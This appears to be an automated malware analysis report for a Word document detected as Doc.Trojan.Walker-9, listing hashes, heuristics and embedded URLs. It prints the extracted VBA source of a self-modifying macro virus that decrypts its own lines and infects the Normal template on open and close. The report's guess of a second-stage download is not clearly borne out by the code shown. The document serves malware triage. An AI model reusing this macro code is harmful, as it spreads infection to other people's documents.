Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9cce726b1b107b2f…

MALICIOUS

Office (OLE)

167.5 KB Created: 2008-09-22 17:24:00 Authoring application: Microsoft Word 11.5.0 First seen: 2019-08-04
MD5: c175046438bf31a3251456c12daf5649 SHA-1: 431fbcac007071f613334c140a56678fd3a0bd96 SHA-256: 9cce726b1b107b2f1be1adf91c89e5f870a7e046ac47e923ceac301ec6dc804c
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro, indicating it is designed to execute code upon opening. The macro appears to be obfuscated and attempts to decrypt and execute further code, likely to download and run a second-stage payload. The presence of VBA macros and the Document_Open subroutine strongly suggests a malicious intent, potentially related to malware delivery.

Heuristics 4

  • ClamAV: Doc.Trojan.Walker-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.cotf.edu/ete/modules/msese/earthsysflr/rock.html In document text (OLE body)
    • http://www.iowaaeaonline.org/In document text (OLE body)
    • http://www.beyondbooks.com/ear82/7.aspIn document text (OLE body)
    • http://www.calendarsthatwork.com/membershipd.phpIn document text (OLE body)
    • http://www.windows.ucar.edu/In document text (OLE body)
    • http://wrgis.wr.usgs.gov/parks/rxmin/rockchart.htmlIn document text (OLE body)
    • http://www.apple.com/DTDs/PropertyList-1.0.dtdIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3158 bytes
SHA-256: 28881cc02edbe5fa3d44379f155ed27f6b47492861bc9c6070ff8d8b8914261a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True









































'Sattelite v1.0
'Document
Private Function encr(s, k As Integer)
Dim r: r = "": For f = 1 To Len(s): r = r + Chr((Asc(Mid$(s, f, 1))) Xor k): Next: encr = r
End Function
Private Sub Document_Open()
On Error Resume Next: W = 0: CH = Word.ActiveDocument.Characters.Count: Kar = "'" + Str(CH)
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Iam: .ReplaceLine 101, Kar: Z = .CountOfLines - 27: For x = 63 To Z:
If W = 20 Then W = 0
decrypt = .Lines(x, 1): W = W + 2: Y = Len(decrypt): Y = Y - 1: decrypt = Right$(decrypt, Y): .ReplaceLine x + 20, encr(decrypt, (W)): Next x: End With
Call ThisDoc: Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule: Flag = 0: GoTo Over
Again: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule: Flag = 1
Over:
With Iam: For x = 83 To 100: .ReplaceLine x, "'": Next x: End With
If Flag = 0 Then GoTo Again
End Sub
Private Sub ThisDoc()
'
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'Yo~*Ki~Ikxxcox*7*Ki~c|oNei god~$\HZxe`oi~$\HIegzedod~y";#$IenoGen fo
'_ix,Bc~aOm~~ei~,1,Bc~am`Xia|`mxi"ZN\~cfiox"ZNOca|cbibx $=%"OchiAchy`i
'@G.3.@a|cobZkc~bozk XL^|adkmz XLMac~a`k`z}&?' MajkCaj{bk Bg`k}&:<".?'
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'Mb$QGewa,EM-$8:$&#WEPPAHMPA$R5*4&$Ej`$EgpGevvmav*GkqjpKbHmjaw$:$4$Plaj$A|mp$Wqf
'O`&HitkOhurgjjcb&;&Rtsc&Ghb&GerOhurgjjcb&;&Rtsc&Rnch&C~or&Usd
'An(FgzeAf{|iddml(5(Nid{m(\`mf2([m|(Afnmk|agf(5(FgzeKizzamz2([m|(Kizzamz(5(Ik|Kizzamz2(Md{m2([m|(Afnmk|agf(5(Ik|Kizzamz2([m|(Kizzamz(5(FgzeKizzamz
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End Sub
Private Sub Document_Close()
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1): CH = Word.ActiveDocument.Characters.Count: Kar = "'" + Str(CH)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule:
Kar2 = Iam.Lines(101, 1): Iam.ReplaceLine 101, "'": NormalTemplate.Save: If Kar = Kar2 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

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